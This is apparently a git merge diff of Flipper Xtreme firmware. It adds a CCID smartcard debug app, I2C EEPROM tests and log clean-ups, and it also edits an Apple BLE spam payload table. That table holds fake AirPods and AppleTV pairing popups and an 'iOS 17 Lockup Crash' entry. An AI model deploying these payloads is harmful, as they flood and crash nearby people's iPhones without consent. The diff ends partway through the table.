Merge branch 'dev' of https://github.com/Flipper-XFW/Xtreme-Firmware into dev
@@ -77,6 +77,8 @@ if GetOption("fullenv") or any(
|
||||
"${COPRO_DISCLAIMER}",
|
||||
"--obdata",
|
||||
'"${ROOT_DIR.abspath}/${COPRO_OB_DATA}"',
|
||||
"--stackversion",
|
||||
"${COPRO_CUBE_VERSION}",
|
||||
]
|
||||
dist_resource_arguments = [
|
||||
"-r",
|
||||
|
||||
16
applications/debug/ccid_test/application.fam
Normal file
@@ -0,0 +1,16 @@
|
||||
App(
|
||||
appid="ccid_test",
|
||||
name="CCID Debug",
|
||||
apptype=FlipperAppType.DEBUG,
|
||||
entry_point="ccid_test_app",
|
||||
cdefines=["CCID_TEST"],
|
||||
requires=[
|
||||
"gui",
|
||||
],
|
||||
provides=[
|
||||
"ccid_test",
|
||||
],
|
||||
stack_size=1 * 1024,
|
||||
order=120,
|
||||
fap_category="Debug",
|
||||
)
|
||||
159
applications/debug/ccid_test/ccid_test_app.c
Normal file
@@ -0,0 +1,159 @@
|
||||
#include <stdint.h>
|
||||
#include <furi.h>
|
||||
#include <furi_hal.h>
|
||||
|
||||
#include <gui/view.h>
|
||||
#include <gui/view_dispatcher.h>
|
||||
#include <gui/modules/submenu.h>
|
||||
#include <gui/gui.h>
|
||||
|
||||
#include "iso7816_t0_apdu.h"
|
||||
|
||||
typedef enum {
|
||||
EventTypeInput,
|
||||
} EventType;
|
||||
|
||||
typedef struct {
|
||||
Gui* gui;
|
||||
ViewPort* view_port;
|
||||
FuriMessageQueue* event_queue;
|
||||
FuriHalUsbCcidConfig ccid_cfg;
|
||||
} CcidTestApp;
|
||||
|
||||
typedef struct {
|
||||
union {
|
||||
InputEvent input;
|
||||
};
|
||||
EventType type;
|
||||
} CcidTestAppEvent;
|
||||
|
||||
typedef enum {
|
||||
CcidTestSubmenuIndexInsertSmartcard,
|
||||
CcidTestSubmenuIndexRemoveSmartcard,
|
||||
CcidTestSubmenuIndexInsertSmartcardReader
|
||||
} SubmenuIndex;
|
||||
|
||||
void icc_power_on_callback(uint8_t* atrBuffer, uint32_t* atrlen, void* context) {
|
||||
UNUSED(context);
|
||||
|
||||
iso7816_answer_to_reset(atrBuffer, atrlen);
|
||||
}
|
||||
|
||||
void xfr_datablock_callback(uint8_t* dataBlock, uint32_t* dataBlockLen, void* context) {
|
||||
UNUSED(context);
|
||||
|
||||
struct ISO7816_Response_APDU responseAPDU;
|
||||
//class not supported
|
||||
responseAPDU.SW1 = 0x6E;
|
||||
responseAPDU.SW2 = 0x00;
|
||||
|
||||
iso7816_write_response_apdu(&responseAPDU, dataBlock, dataBlockLen);
|
||||
}
|
||||
|
||||
static const CcidCallbacks ccid_cb = {
|
||||
icc_power_on_callback,
|
||||
xfr_datablock_callback,
|
||||
};
|
||||
|
||||
static void ccid_test_app_render_callback(Canvas* canvas, void* ctx) {
|
||||
UNUSED(ctx);
|
||||
canvas_clear(canvas);
|
||||
|
||||
canvas_set_font(canvas, FontPrimary);
|
||||
canvas_draw_str(canvas, 0, 10, "CCID Test App");
|
||||
|
||||
canvas_set_font(canvas, FontSecondary);
|
||||
canvas_draw_str(canvas, 0, 63, "Hold [back] to exit");
|
||||
}
|
||||
|
||||
static void ccid_test_app__input_callback(InputEvent* input_event, void* ctx) {
|
||||
FuriMessageQueue* event_queue = ctx;
|
||||
|
||||
CcidTestAppEvent event;
|
||||
event.type = EventTypeInput;
|
||||
event.input = *input_event;
|
||||
furi_message_queue_put(event_queue, &event, FuriWaitForever);
|
||||
}
|
||||
|
||||
uint32_t ccid_test_exit(void* context) {
|
||||
UNUSED(context);
|
||||
return VIEW_NONE;
|
||||
}
|
||||
|
||||
CcidTestApp* ccid_test_app_alloc() {
|
||||
CcidTestApp* app = malloc(sizeof(CcidTestApp));
|
||||
|
||||
// Gui
|
||||
app->gui = furi_record_open(RECORD_GUI);
|
||||
|
||||
//viewport
|
||||
app->view_port = view_port_alloc();
|
||||
gui_add_view_port(app->gui, app->view_port, GuiLayerFullscreen);
|
||||
view_port_draw_callback_set(app->view_port, ccid_test_app_render_callback, NULL);
|
||||
|
||||
//message queue
|
||||
app->event_queue = furi_message_queue_alloc(8, sizeof(CcidTestAppEvent));
|
||||
furi_check(app->event_queue);
|
||||
view_port_input_callback_set(app->view_port, ccid_test_app__input_callback, app->event_queue);
|
||||
|
||||
return app;
|
||||
}
|
||||
|
||||
void ccid_test_app_free(CcidTestApp* app) {
|
||||
furi_assert(app);
|
||||
|
||||
//message queue
|
||||
furi_message_queue_free(app->event_queue);
|
||||
|
||||
//view port
|
||||
gui_remove_view_port(app->gui, app->view_port);
|
||||
view_port_free(app->view_port);
|
||||
|
||||
// Close gui record
|
||||
furi_record_close(RECORD_GUI);
|
||||
app->gui = NULL;
|
||||
|
||||
// Free rest
|
||||
free(app);
|
||||
}
|
||||
|
||||
int32_t ccid_test_app(void* p) {
|
||||
UNUSED(p);
|
||||
|
||||
//setup view
|
||||
CcidTestApp* app = ccid_test_app_alloc();
|
||||
|
||||
//setup CCID USB
|
||||
// On linux: set VID PID using: /usr/lib/pcsc/drivers/ifd-ccid.bundle/Contents/Info.plist
|
||||
app->ccid_cfg.vid = 0x1234;
|
||||
app->ccid_cfg.pid = 0x5678;
|
||||
|
||||
FuriHalUsbInterface* usb_mode_prev = furi_hal_usb_get_config();
|
||||
furi_hal_usb_unlock();
|
||||
furi_hal_ccid_set_callbacks((CcidCallbacks*)&ccid_cb);
|
||||
furi_check(furi_hal_usb_set_config(&usb_ccid, &app->ccid_cfg) == true);
|
||||
|
||||
//handle button events
|
||||
CcidTestAppEvent event;
|
||||
while(1) {
|
||||
FuriStatus event_status =
|
||||
furi_message_queue_get(app->event_queue, &event, FuriWaitForever);
|
||||
|
||||
if(event_status == FuriStatusOk) {
|
||||
if(event.type == EventTypeInput) {
|
||||
if(event.input.type == InputTypeLong && event.input.key == InputKeyBack) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
view_port_update(app->view_port);
|
||||
}
|
||||
|
||||
//tear down USB
|
||||
furi_hal_usb_set_config(usb_mode_prev, NULL);
|
||||
furi_hal_ccid_set_callbacks(NULL);
|
||||
|
||||
//teardown view
|
||||
ccid_test_app_free(app);
|
||||
return 0;
|
||||
}
|
||||
36
applications/debug/ccid_test/iso7816_t0_apdu.c
Normal file
@@ -0,0 +1,36 @@
|
||||
/* Implements rudimentary iso7816-3 support for APDU (T=0) */
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <furi.h>
|
||||
#include "iso7816_t0_apdu.h"
|
||||
|
||||
void iso7816_answer_to_reset(uint8_t* atrBuffer, uint32_t* atrlen) {
|
||||
//minimum valid ATR: https://smartcard-atr.apdu.fr/parse?ATR=3B+00
|
||||
uint8_t AtrBuffer[2] = {
|
||||
0x3B, //TS (direct convention)
|
||||
0x00 // T0 (Y(1): b0000, K: 0 (historical bytes))
|
||||
};
|
||||
*atrlen = 2;
|
||||
|
||||
memcpy(atrBuffer, AtrBuffer, sizeof(uint8_t) * (*atrlen));
|
||||
}
|
||||
|
||||
void iso7816_read_command_apdu(
|
||||
struct ISO7816_Command_APDU* command,
|
||||
const uint8_t* dataBuffer,
|
||||
uint32_t dataLen) {
|
||||
furi_assert(dataLen <= 4);
|
||||
command->CLA = dataBuffer[0];
|
||||
command->INS = dataBuffer[1];
|
||||
command->P1 = dataBuffer[2];
|
||||
command->P2 = dataBuffer[3];
|
||||
}
|
||||
|
||||
void iso7816_write_response_apdu(
|
||||
const struct ISO7816_Response_APDU* response,
|
||||
uint8_t* dataBuffer,
|
||||
uint32_t* dataLen) {
|
||||
dataBuffer[0] = response->SW1;
|
||||
dataBuffer[1] = response->SW2;
|
||||
*dataLen = 2;
|
||||
}
|
||||
32
applications/debug/ccid_test/iso7816_t0_apdu.h
Normal file
@@ -0,0 +1,32 @@
|
||||
#ifndef _ISO7816_T0_APDU_H_
|
||||
#define _ISO7816_T0_APDU_H_
|
||||
|
||||
#include <stdint.h>
|
||||
|
||||
struct ISO7816_Command_APDU {
|
||||
//header
|
||||
uint8_t CLA;
|
||||
uint32_t INS;
|
||||
uint8_t P1;
|
||||
uint8_t P2;
|
||||
|
||||
//body
|
||||
uint8_t Nc;
|
||||
uint8_t Ne;
|
||||
} __attribute__((packed));
|
||||
|
||||
struct ISO7816_Response_APDU {
|
||||
uint8_t SW1;
|
||||
uint32_t SW2;
|
||||
} __attribute__((packed));
|
||||
|
||||
void iso7816_answer_to_reset(uint8_t* atrBuffer, uint32_t* atrlen);
|
||||
void iso7816_read_command_apdu(
|
||||
struct ISO7816_Command_APDU* command,
|
||||
const uint8_t* dataBuffer,
|
||||
uint32_t dataLen);
|
||||
void iso7816_write_response_apdu(
|
||||
const struct ISO7816_Response_APDU* response,
|
||||
uint8_t* dataBuffer,
|
||||
uint32_t* dataLen);
|
||||
#endif //_ISO7816_T0_APDU_H_
|
||||
@@ -5,6 +5,11 @@
|
||||
#include "../minunit.h"
|
||||
|
||||
#define DATA_SIZE 4
|
||||
#define EEPROM_ADDRESS 0b10101000
|
||||
#define EEPROM_ADDRESS_HIGH (EEPROM_ADDRESS | 0b10)
|
||||
#define EEPROM_SIZE 512
|
||||
#define EEPROM_PAGE_SIZE 16
|
||||
#define EEPROM_WRITE_DELAY_MS 6
|
||||
|
||||
static void furi_hal_i2c_int_setup() {
|
||||
furi_hal_i2c_acquire(&furi_hal_i2c_handle_power);
|
||||
@@ -14,6 +19,14 @@ static void furi_hal_i2c_int_teardown() {
|
||||
furi_hal_i2c_release(&furi_hal_i2c_handle_power);
|
||||
}
|
||||
|
||||
static void furi_hal_i2c_ext_setup() {
|
||||
furi_hal_i2c_acquire(&furi_hal_i2c_handle_external);
|
||||
}
|
||||
|
||||
static void furi_hal_i2c_ext_teardown() {
|
||||
furi_hal_i2c_release(&furi_hal_i2c_handle_external);
|
||||
}
|
||||
|
||||
MU_TEST(furi_hal_i2c_int_1b) {
|
||||
bool ret = false;
|
||||
uint8_t data_one = 0;
|
||||
@@ -103,14 +116,116 @@ MU_TEST(furi_hal_i2c_int_1b_fail) {
|
||||
mu_assert(data_one != 0, "9 invalid data");
|
||||
}
|
||||
|
||||
MU_TEST(furi_hal_i2c_int_ext_3b) {
|
||||
bool ret = false;
|
||||
uint8_t data_many[DATA_SIZE] = {0};
|
||||
|
||||
// 3 byte: read
|
||||
data_many[0] = LP5562_CHANNEL_BLUE_CURRENT_REGISTER;
|
||||
ret = furi_hal_i2c_tx_ext(
|
||||
&furi_hal_i2c_handle_power,
|
||||
LP5562_ADDRESS,
|
||||
false,
|
||||
data_many,
|
||||
1,
|
||||
FuriHalI2cBeginStart,
|
||||
FuriHalI2cEndAwaitRestart,
|
||||
LP5562_I2C_TIMEOUT);
|
||||
mu_assert(ret, "3 tx failed");
|
||||
|
||||
// Send a RESTART condition, then read the 3 bytes one after the other
|
||||
ret = furi_hal_i2c_rx_ext(
|
||||
&furi_hal_i2c_handle_power,
|
||||
LP5562_ADDRESS,
|
||||
false,
|
||||
data_many + 1,
|
||||
1,
|
||||
FuriHalI2cBeginRestart,
|
||||
FuriHalI2cEndPause,
|
||||
LP5562_I2C_TIMEOUT);
|
||||
mu_assert(ret, "4 rx failed");
|
||||
mu_assert(data_many[1] != 0, "4 invalid data");
|
||||
ret = furi_hal_i2c_rx_ext(
|
||||
&furi_hal_i2c_handle_power,
|
||||
LP5562_ADDRESS,
|
||||
false,
|
||||
data_many + 2,
|
||||
1,
|
||||
FuriHalI2cBeginResume,
|
||||
FuriHalI2cEndPause,
|
||||
LP5562_I2C_TIMEOUT);
|
||||
mu_assert(ret, "5 rx failed");
|
||||
mu_assert(data_many[2] != 0, "5 invalid data");
|
||||
ret = furi_hal_i2c_rx_ext(
|
||||
&furi_hal_i2c_handle_power,
|
||||
LP5562_ADDRESS,
|
||||
false,
|
||||
data_many + 3,
|
||||
1,
|
||||
FuriHalI2cBeginResume,
|
||||
FuriHalI2cEndStop,
|
||||
LP5562_I2C_TIMEOUT);
|
||||
mu_assert(ret, "6 rx failed");
|
||||
mu_assert(data_many[3] != 0, "6 invalid data");
|
||||
}
|
||||
|
||||
MU_TEST(furi_hal_i2c_ext_eeprom) {
|
||||
if(!furi_hal_i2c_is_device_ready(&furi_hal_i2c_handle_external, EEPROM_ADDRESS, 100)) {
|
||||
printf("no device connected, skipping\r\n");
|
||||
return;
|
||||
}
|
||||
|
||||
bool ret = false;
|
||||
uint8_t buffer[EEPROM_SIZE] = {0};
|
||||
|
||||
for(size_t page = 0; page < (EEPROM_SIZE / EEPROM_PAGE_SIZE); ++page) {
|
||||
// Fill page buffer
|
||||
for(size_t page_byte = 0; page_byte < EEPROM_PAGE_SIZE; ++page_byte) {
|
||||
// Each byte is its position in the EEPROM modulo 256
|
||||
uint8_t byte = ((page * EEPROM_PAGE_SIZE) + page_byte) % 256;
|
||||
|
||||
buffer[page_byte] = byte;
|
||||
}
|
||||
|
||||
uint8_t address = (page < 16) ? EEPROM_ADDRESS : EEPROM_ADDRESS_HIGH;
|
||||
|
||||
ret = furi_hal_i2c_write_mem(
|
||||
&furi_hal_i2c_handle_external,
|
||||
address,
|
||||
page * EEPROM_PAGE_SIZE,
|
||||
buffer,
|
||||
EEPROM_PAGE_SIZE,
|
||||
20);
|
||||
|
||||
mu_assert(ret, "EEPROM write failed");
|
||||
furi_delay_ms(EEPROM_WRITE_DELAY_MS);
|
||||
}
|
||||
|
||||
ret = furi_hal_i2c_read_mem(
|
||||
&furi_hal_i2c_handle_external, EEPROM_ADDRESS, 0, buffer, EEPROM_SIZE, 100);
|
||||
|
||||
mu_assert(ret, "EEPROM read failed");
|
||||
|
||||
for(size_t pos = 0; pos < EEPROM_SIZE; ++pos) {
|
||||
mu_assert_int_eq(pos % 256, buffer[pos]);
|
||||
}
|
||||
}
|
||||
|
||||
MU_TEST_SUITE(furi_hal_i2c_int_suite) {
|
||||
MU_SUITE_CONFIGURE(&furi_hal_i2c_int_setup, &furi_hal_i2c_int_teardown);
|
||||
MU_RUN_TEST(furi_hal_i2c_int_1b);
|
||||
MU_RUN_TEST(furi_hal_i2c_int_3b);
|
||||
MU_RUN_TEST(furi_hal_i2c_int_ext_3b);
|
||||
MU_RUN_TEST(furi_hal_i2c_int_1b_fail);
|
||||
}
|
||||
|
||||
MU_TEST_SUITE(furi_hal_i2c_ext_suite) {
|
||||
MU_SUITE_CONFIGURE(&furi_hal_i2c_ext_setup, &furi_hal_i2c_ext_teardown);
|
||||
MU_RUN_TEST(furi_hal_i2c_ext_eeprom);
|
||||
}
|
||||
|
||||
int run_minunit_test_furi_hal() {
|
||||
MU_RUN_SUITE(furi_hal_i2c_int_suite);
|
||||
MU_RUN_SUITE(furi_hal_i2c_ext_suite);
|
||||
return MU_EXIT_CODE;
|
||||
}
|
||||
|
||||
@@ -96,9 +96,9 @@ static bool subghz_decoder_test(const char* path, const char* name_decoder) {
|
||||
}
|
||||
subghz_file_encoder_worker_free(file_worker_encoder_handler);
|
||||
}
|
||||
FURI_LOG_T(TAG, "\r\n Decoder count parse \033[0;33m%d\033[0m ", subghz_test_decoder_count);
|
||||
FURI_LOG_T(TAG, "Decoder count parse %d", subghz_test_decoder_count);
|
||||
if(furi_get_tick() - test_start > TEST_TIMEOUT) {
|
||||
printf("\033[0;31mTest decoder %s ERROR TimeOut\033[0m\r\n", name_decoder);
|
||||
printf("Test decoder %s ERROR TimeOut\r\n", name_decoder);
|
||||
return false;
|
||||
} else {
|
||||
return subghz_test_decoder_count ? true : false;
|
||||
@@ -135,9 +135,9 @@ static bool subghz_decode_random_test(const char* path) {
|
||||
}
|
||||
subghz_file_encoder_worker_free(file_worker_encoder_handler);
|
||||
}
|
||||
FURI_LOG_D(TAG, "\r\n Decoder count parse \033[0;33m%d\033[0m ", subghz_test_decoder_count);
|
||||
FURI_LOG_D(TAG, "Decoder count parse %d", subghz_test_decoder_count);
|
||||
if(furi_get_tick() - test_start > TEST_TIMEOUT * 10) {
|
||||
printf("\033[0;31mRandom test ERROR TimeOut\033[0m\r\n");
|
||||
printf("Random test ERROR TimeOut\r\n");
|
||||
return false;
|
||||
} else if(subghz_test_decoder_count == TEST_RANDOM_COUNT_PARSE) {
|
||||
return true;
|
||||
@@ -198,10 +198,9 @@ static bool subghz_encoder_test(const char* path) {
|
||||
subghz_transmitter_free(transmitter);
|
||||
}
|
||||
flipper_format_free(fff_data_file);
|
||||
FURI_LOG_T(TAG, "\r\n Decoder count parse \033[0;33m%d\033[0m ", subghz_test_decoder_count);
|
||||
FURI_LOG_T(TAG, "Decoder count parse %d", subghz_test_decoder_count);
|
||||
if(furi_get_tick() - test_start > TEST_TIMEOUT) {
|
||||
printf(
|
||||
"\033[0;31mTest encoder %s ERROR TimeOut\033[0m\r\n", furi_string_get_cstr(temp_str));
|
||||
printf("Test encoder %s ERROR TimeOut\r\n", furi_string_get_cstr(temp_str));
|
||||
subghz_test_decoder_count = 0;
|
||||
}
|
||||
furi_string_free(temp_str);
|
||||
|
||||
@@ -16,45 +16,48 @@ typedef struct {
|
||||
|
||||
// Hacked together by @Willy-JL
|
||||
// Custom adv logic by @Willy-JL (idea by @xMasterX)
|
||||
// iOS 17 Crash by @ECTO-1A
|
||||
// Extensive testing and research on behavior and parameters by @Willy-JL and @ECTO-1A
|
||||
// Structures docs and Nearby Action IDs from https://github.com/furiousMAC/continuity/
|
||||
// Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/
|
||||
// Controversy explained at https://willyjl.dev/blog/the-controversy-behind-apple-ble-spam
|
||||
|
||||
static Payload payloads[] = {
|
||||
static Payload
|
||||
payloads[] =
|
||||
{
|
||||
#if false
|
||||
{.title = "AirDrop",
|
||||
.text = "",
|
||||
.random = false,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeAirDrop,
|
||||
.data = {.airdrop = {}},
|
||||
}},
|
||||
{.title = "Airplay Target",
|
||||
.text = "",
|
||||
.random = false,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeAirplayTarget,
|
||||
.data = {.airplay_target = {}},
|
||||
}},
|
||||
{.title = "Handoff",
|
||||
.text = "",
|
||||
.random = false,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeHandoff,
|
||||
.data = {.handoff = {}},
|
||||
}},
|
||||
{.title = "Tethering Source",
|
||||
.text = "",
|
||||
.random = false,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeTetheringSource,
|
||||
.data = {.tethering_source = {}},
|
||||
}},
|
||||
{.title = "AirDrop",
|
||||
.text = "",
|
||||
.random = false,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeAirDrop,
|
||||
.data = {.airdrop = {}},
|
||||
}},
|
||||
{.title = "Airplay Target",
|
||||
.text = "",
|
||||
.random = false,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeAirplayTarget,
|
||||
.data = {.airplay_target = {}},
|
||||
}},
|
||||
{.title = "Handoff",
|
||||
.text = "",
|
||||
.random = false,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeHandoff,
|
||||
.data = {.handoff = {}},
|
||||
}},
|
||||
{.title = "Tethering Source",
|
||||
.text = "",
|
||||
.random = false,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeTetheringSource,
|
||||
.data = {.tethering_source = {}},
|
||||
}},
|
||||
{.title = "Mobile Backup",
|
||||
.text = "",
|
||||
.random = false,
|
||||
@@ -175,279 +178,295 @@ static Payload payloads[] = {
|
||||
.type = ContinuityTypeNearbyAction,
|
||||
.data = {.nearby_action = {.flags = 0xC0, .type = 0x17}},
|
||||
}},
|
||||
{.title = "Nearby Info",
|
||||
.text = "",
|
||||
.random = false,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeNearbyInfo,
|
||||
.data = {.nearby_info = {}},
|
||||
}},
|
||||
#endif
|
||||
{.title = "Random Action",
|
||||
.text = "Spam shuffle Nearby Actions",
|
||||
.random = true,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeNearbyAction,
|
||||
.data = {.nearby_action = {.flags = 0xC0, .type = 0x00}},
|
||||
}},
|
||||
{.title = "Random Pair",
|
||||
.text = "Spam shuffle Proximity Pairs",
|
||||
.random = true,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeProximityPair,
|
||||
.data = {.proximity_pair = {.prefix = 0x00, .model = 0x0000}},
|
||||
}},
|
||||
{.title = "AppleTV AutoFill",
|
||||
.text = "Banner, unlocked, long range",
|
||||
.random = false,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeNearbyAction,
|
||||
.data = {.nearby_action = {.flags = 0xC0, .type = 0x13}},
|
||||
}},
|
||||
{.title = "AppleTV Connecting...",
|
||||
.text = "Modal, unlocked, long range",
|
||||
.random = false,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeNearbyAction,
|
||||
.data = {.nearby_action = {.flags = 0xC0, .type = 0x27}},
|
||||
}},
|
||||
{.title = "Join This AppleTV?",
|
||||
.text = "Modal, unlocked, spammy",
|
||||
.random = false,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeNearbyAction,
|
||||
.data = {.nearby_action = {.flags = 0xBF, .type = 0x20}},
|
||||
}},
|
||||
{.title = "AppleTV Audio Sync",
|
||||
.text = "Banner, locked, long range",
|
||||
.random = false,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeNearbyAction,
|
||||
.data = {.nearby_action = {.flags = 0xC0, .type = 0x19}},
|
||||
}},
|
||||
{.title = "AppleTV Color Balance",
|
||||
.text = "Banner, locked",
|
||||
.random = false,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeNearbyAction,
|
||||
.data = {.nearby_action = {.flags = 0xC0, .type = 0x1E}},
|
||||
}},
|
||||
{.title = "Setup New iPhone",
|
||||
.text = "Modal, locked",
|
||||
.random = false,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeNearbyAction,
|
||||
.data = {.nearby_action = {.flags = 0xC0, .type = 0x09}},
|
||||
}},
|
||||
{.title = "Setup New Random",
|
||||
.text = "Modal, locked, glitched",
|
||||
.random = false,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeNearbyAction,
|
||||
.data = {.nearby_action = {.flags = 0x40, .type = 0x09}},
|
||||
}},
|
||||
{.title = "Transfer Phone Number",
|
||||
.text = "Modal, locked",
|
||||
.random = false,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeNearbyAction,
|
||||
.data = {.nearby_action = {.flags = 0xC0, .type = 0x02}},
|
||||
}},
|
||||
{.title = "HomePod Setup",
|
||||
.text = "Modal, unlocked",
|
||||
.random = false,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeNearbyAction,
|
||||
.data = {.nearby_action = {.flags = 0xC0, .type = 0x0B}},
|
||||
}},
|
||||
{.title = "AirPods Pro",
|
||||
.text = "Modal, spammy (auto close)",
|
||||
.random = false,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeProximityPair,
|
||||
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x0E20}},
|
||||
}},
|
||||
{.title = "Beats Solo 3",
|
||||
.text = "Modal, spammy (stays open)",
|
||||
.random = false,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeProximityPair,
|
||||
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x0620}},
|
||||
}},
|
||||
{.title = "AirPods Max",
|
||||
.text = "Modal, laggy (stays open)",
|
||||
.random = false,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeProximityPair,
|
||||
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x0A20}},
|
||||
}},
|
||||
{.title = "Beats Flex",
|
||||
.text = "Modal, laggy (stays open)",
|
||||
.random = false,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeProximityPair,
|
||||
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x1020}},
|
||||
}},
|
||||
{.title = "Airtag",
|
||||
.text = "Modal, unlocked",
|
||||
.random = false,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeProximityPair,
|
||||
.data = {.proximity_pair = {.prefix = 0x05, .model = 0x0055}},
|
||||
}},
|
||||
{.title = "Hermes Airtag",
|
||||
.text = "",
|
||||
.random = false,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeProximityPair,
|
||||
.data = {.proximity_pair = {.prefix = 0x05, .model = 0x0030}},
|
||||
}},
|
||||
{.title = "Setup New AppleTV",
|
||||
.text = "Modal, unlocked",
|
||||
.random = false,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeNearbyAction,
|
||||
.data = {.nearby_action = {.flags = 0xC0, .type = 0x01}},
|
||||
}},
|
||||
{.title = "Pair AppleTV",
|
||||
.text = "Modal, unlocked",
|
||||
.random = false,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeNearbyAction,
|
||||
.data = {.nearby_action = {.flags = 0xC0, .type = 0x06}},
|
||||
}},
|
||||
{.title = "HomeKit AppleTV Setup",
|
||||
.text = "Modal, unlocked",
|
||||
.random = false,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeNearbyAction,
|
||||
.data = {.nearby_action = {.flags = 0xC0, .type = 0x0D}},
|
||||
}},
|
||||
{.title = "AppleID for AppleTV?",
|
||||
.text = "Modal, unlocked",
|
||||
.random = false,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeNearbyAction,
|
||||
.data = {.nearby_action = {.flags = 0xC0, .type = 0x2B}},
|
||||
}},
|
||||
{.title = "AirPods",
|
||||
.text = "Modal, spammy (auto close)",
|
||||
.random = false,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeProximityPair,
|
||||
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x0220}},
|
||||
}},
|
||||
{.title = "AirPods 2nd Gen",
|
||||
.text = "Modal, spammy (auto close)",
|
||||
.random = false,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeProximityPair,
|
||||
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x0F20}},
|
||||
}},
|
||||
{.title = "AirPods 3rd Gen",
|
||||
.text = "Modal, spammy (auto close)",
|
||||
.random = false,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeProximityPair,
|
||||
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x1320}},
|
||||
}},
|
||||
{.title = "AirPods Pro 2nd Gen",
|
||||
.text = "Modal, spammy (auto close)",
|
||||
.random = false,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeProximityPair,
|
||||
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x1420}},
|
||||
}},
|
||||
{.title = "Powerbeats 3",
|
||||
.text = "Modal, spammy (stays open)",
|
||||
.random = false,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeProximityPair,
|
||||
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x0320}},
|
||||
}},
|
||||
{.title = "Powerbeats Pro",
|
||||
.text = "Modal, spammy (auto close)",
|
||||
.random = false,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeProximityPair,
|
||||
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x0B20}},
|
||||
}},
|
||||
{.title = "Beats Solo Pro",
|
||||
.text = "",
|
||||
.random = false,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeProximityPair,
|
||||
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x0C20}},
|
||||
}},
|
||||
{.title = "Beats Studio Buds",
|
||||
.text = "Modal, spammy (auto close)",
|
||||
.random = false,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeProximityPair,
|
||||
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x1120}},
|
||||
}},
|
||||
{.title = "Beats X",
|
||||
.text = "Modal, spammy (stays open)",
|
||||
.random = false,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeProximityPair,
|
||||
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x0520}},
|
||||
}},
|
||||
{.title = "Beats Studio 3",
|
||||
.text = "Modal, spammy (stays open)",
|
||||
.random = false,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeProximityPair,
|
||||
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x0920}},
|
||||
}},
|
||||
{.title = "Beats Studio Pro",
|
||||
.text = "Modal, spammy (stays open)",
|
||||
.random = false,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeProximityPair,
|
||||
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x1720}},
|
||||
}},
|
||||
{.title = "Beats Fit Pro",
|
||||
.text = "Modal, spammy (auto close)",
|
||||
.random = false,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeProximityPair,
|
||||
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x1220}},
|
||||
}},
|
||||
{.title = "Beats Studio Buds+",
|
||||
.text = "Modal, spammy (auto close)",
|
||||
.random = false,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeProximityPair,
|
||||
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x1620}},
|
||||
}},
|
||||
{.title = "Lockup Crash",
|
||||
.text = "iOS 17, locked, long range",
|
||||
.random = false,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeCustomCrash,
|
||||
.data = {.custom_crash = {}},
|
||||
}},
|
||||
{.title = "Random Action",
|
||||
.text = "Spam shuffle Nearby Actions",
|
||||
.random = true,
|
||||
.msg =
|
||||
{
|
||||
.type = ContinuityTypeNearbyAction,
|
||||
